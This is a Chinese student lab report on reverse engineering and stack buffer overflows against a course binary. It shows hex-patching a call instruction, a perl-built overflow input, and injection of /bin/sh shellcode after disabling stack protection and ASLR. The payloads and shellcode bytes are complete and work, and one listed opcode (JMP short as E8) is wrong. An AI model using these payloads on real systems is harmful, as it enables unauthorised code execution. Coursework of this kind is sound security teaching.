2019-2020-2 网络对抗技术 20175209 Exp1 PC平台逆向破解
2019-2020-2 网络对抗技术 20175209 Exp1 PC平台逆向破解
一、实验任务
- 手动修改机器指令，改变程序执行流程
- 通过构造输入值，造成BOF攻击，从而改变程序执行顺序
- 注入shellcode并执行
二、问题回答
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什么是漏洞，漏洞有什么危害？
漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。利用这些缺点，攻击者可以对计算机系统进行攻击，从而达到一定的目的。漏洞威胁了计算机的系统安全，给攻击者有可乘之机，可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
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掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP：90
JNE：75
JE：74
CMP：38~3D
JMP：JMP short：E8
JMP near：E9
JMP word：FF
JMP far：EA -
掌握反汇编器与十六进制编程器
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反汇编指令
objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时，将反汇编代码与源代码交替显示，编译时需要使用-g参数，即需要调试信息；
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section -
十六进制编程器：是用来以16进制视图进行文本编辑的工具软件.
vim <filename>以ASCII码形式显示可执行文件的内容:%!xxd将显示模式切换为16进制模式:%!xxd将16进制切换回ASCII码模式
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三、实验任务
任务一 手动修改机器指令，改变程序执行流程
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实验前先到之前设置好的共享文件夹下的pwn1复制到相应的实验文件夹下并对pwn1进行备份，备份为pwn1.bak
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输入指令
objdump -d pwn1 | more对pwn1文件进行反汇编
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对反汇编的结果进行分析
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可以看到
函数的地址为 08048491，main函数中的call 8048491 <foo>指令的机器码为e8 d7 ff ff ff,下一条指令的地址为80484ba。机器码中的0xffffffd7 = 0x080484ba - 0x08048491为主函数执行位置和foo函数起始地址的差 -
因此，想要让程序执行到getShell需更改call指令的机器码为相应地址的差，计算地址差为
0x080484ba - 0x0804847d = 0xffffffc3 -
输入指令
vi pwn1打开以ASCII码显示的文件 -
输入指令
:%!xxd将文件转换为16进制查看 -
找到
d7ffffff位置，输入i进入插入模式，将d7修改为c3
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输入指令
:%!xxd -r将文件转化为ASCII码形式，保存并退出 -
此时输入指令
objdump -d pwn1 | more查看，发现pwn1文件已经被修改了
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分别运行更改后的pwn1和备份文件pwn1.bak，查看相应结果
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任务二 通过构造输入值，造成BOF攻击，从而改变程序执行顺序
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通过反汇编指令查看foo函数中为输入预留的空间
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计算出实现缓冲区溢出的字符数为
28+4=32个字节（4为EBP占用的内存空间），我们希望执行getShell函数，因此需要将getShell函数的地址放在返回地址（eip寄存器）处，即33~36字节，接下对猜想进行验证 -
我们在gdb中输入至少36字节的数据，可以看到给出了
Segmentation fault的错误提示，同时可以查看到eip寄存器的地址为0x34333231,验证了将getShell的地址放在33~36字节的猜想
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我们将33~36字节的内容替换为getShell的地址，字符串以ASCII码输入，同时机器为小端法，因此应为
\x7d\x84\x04\x08前32字节可以任意输入 -
由于我们无法从键盘输入16进制的值，因此输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input构造输入，我们可以通过cat和xxd指令查看我们构造的输入
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通过管道符
|，输入命令(cat input; cat ) | ./pwn2将构造的输入注入并运行，结果如下：
任务三 注入shellcode并执行
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确定构造buf的方法
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linux中两种构造buf的方法：
- retaddr+nop+shellcode 主要针对缓冲区小的情况
- nop+shellcode+retaddr 主要针对缓冲区大的情况
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该任务中我们可以观察到缓冲区的空间并不是很大并不是很大，同时经过老师视频的讲解，我们可以确定应该是采用将shellcode放在后面的方法，因此直接对第一种方法进行测试，结构为：anything+retaddr+nops+shellcode
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准备工作
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foo函数的局部变量不需要机器码，而我们需要将shellcoode注入缓存区，需先设置设置堆栈可执行
execstack -s pwn3设置堆栈可执行execstack -q pwn3查询文件的堆栈是否可执行，结果为X表示可执行
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linux系统为了防范shellcode的注入攻击，在多次运行程序时寄存器的地址会发生改变，因此需关闭地址随机化
more /proc/sys/kernel/randomize_va_space查看随机化是否关闭echo "0" > /proc/sys/kernel/randomize_va_space关闭随机化more /proc/sys/kernel/randomize_va_space再次查看，结果为0证明已关闭
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构造payload
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参考老师给出的代码，我们首先构造一个input_shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
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a终端中通过
(cat input_shellcode;cat) | ./pwn3运行pwn3 -
在b终端中输入
ps -ef | grep pwn3查看pwn3的进程号
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启用gdb调试并定位pwn3进程
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disassemble foo进行反编译，可以看到ret指令的地址为0x080484ae，在此处设置断点break *0x080484ae
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在a终端中按下回车运行， 程序执行到断点停止
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再在b终端输入
c继续运行程序 -
info r esp查看esp寄存器地址 -
x/16x 0xffffd2cc以16进制形式查看0xffffd2cc地址后面16字节的内容 -
可以观察到
0x01020304的地址为0xffffd2cc，因此shellcode注入位置（可以使最先出现0x90的位置）地址为0xffffd2cc+0x00000004=0xffffd2d0
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修改输入并实现shellcode注入
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修改注入代码的地址
perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
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输入命令
(cat input_shellcode;cat) | ./pwn3运行发现shellcode注入成功
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四、实验心得体会
之前都是一直听老师讲课时提到了缓冲区溢出攻击，觉得这应该是是一个很有意思的东西，不过一直没能自己尝试一下。
通过本次实验，我有机会自己能动手操作一下，心情还是很激动的。实际动手的过程中发现比想象中的还是有一点难度的，一些机器码和指令代码的规则已经忘记了，对于缓冲区的存入规则和栈帧也不是特别了解，在实验前根据老师所给的视频资料和码云连接先进行了学习，对缓冲区的大部分内容有了比较清晰的掌握，不过对部分的寄存器的使用还有一些困惑，也参考了一些资料。最终还是比较顺利的完成了这次实验。
通过本次实验，我对缓冲区溢出攻击的原理有了更好的掌握，对栈空间的分配规则和漏洞的产生有了更好的了解，则也对自己的计算机防范积攒了更多的经验，后面还有很多攻击的实验，我也有很大的兴趣，相信自己能更好的完成。
